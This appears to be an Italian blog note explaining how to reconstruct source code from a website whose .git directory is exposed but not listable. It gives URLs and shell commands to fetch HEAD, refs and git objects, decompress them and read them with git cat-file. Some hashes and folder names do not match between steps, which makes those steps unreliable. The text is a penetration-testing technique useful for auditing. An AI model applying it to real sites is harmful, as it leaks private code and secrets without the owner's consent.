Non è molto frequente ma potrebbe capitare che in qualche applicazione web sia esposta la directory .git. Nell’articolo che segue mi sono appuntato la procedura da seguire quando la cartella .git è esposta ma il directory listing è disabilitato.
La prima cosa da fare è quella di provare a vedere se il file .git/HEAD è visibile.
Il file potrebbe “puntare” ad un altro path come ad esempio quello che segue:
ref: refs/heads/master
L’head del repository si trova proprio in quel path, visitando http://sitoweb.com/.git/refs/heads/master potrebbe essere visibile un hash tipo:
39cd476513dd9ca98c1f74f29ef2eaf57ec1cad9
Che ci porta al path dei Git objects in cui sono presenti sottocartelle degli oggetti git il cui nome è di due caratteri. Il nome della sottocartella, in questo caso, è identificata dai primi due caratteri dell’ hash trovato. L’oggetto Git sarà quindi raggiungibile all’indirizzo:
http://sitoweb.com/.git/objects/39/cd476513dd9ca98c1f74f29ef2eaf57ec1cad9
E’ possibile scaricare il file e decomprimerlo come segue:
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - cd476513dd9ca98c1f74f29ef2eaf57ec1cad9 |gzip -cd -q
In questo modo si ottiene l’hash di un altro git object, vale la pena tentare di scaricarlo
http://sitoweb.com/.git/objects/58/ace0476093d04023f84d7816adacfa7b879c43
Alla stessa maniera, è possibile decomprimere il file e vedere il contenuto leggibile con strings.
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - ace0476093d04023f84d7816adacfa7b879c43 |gzip -cd -q |strings -a
Se non si ottengono nuovi hashes con strings, per scaricare i file elencati è possibile utilizzare un workaround creando un git temporaneo:
mkdir tmp; cd tmp; git init
A questo punto occorre spostare i file scaricati in precedenza all’interno della directory objects:
cp ace0476093d04023f84d7816adacfa7b879c43 ./tmp/.git/objects/58
cp cd476513dd9ca98c1f74f29ef2eaf57ec1cad9 ./tmp/.git/objects/36
Poi sarà possibile leggerne il contenuto come segue:
git cat-file -p 58ace0476093d04023f84d7816adacfa7b879c43
git cat-file -p 36cd476513dd9ca98c1f74f29ef2eaf57ec1cad9
In questo modo potrebbe essere visibile il codice, l’hash di altri file da poter scaricare etc.
Ripetere le operazioni finché non si trova qualcosa di interessante!!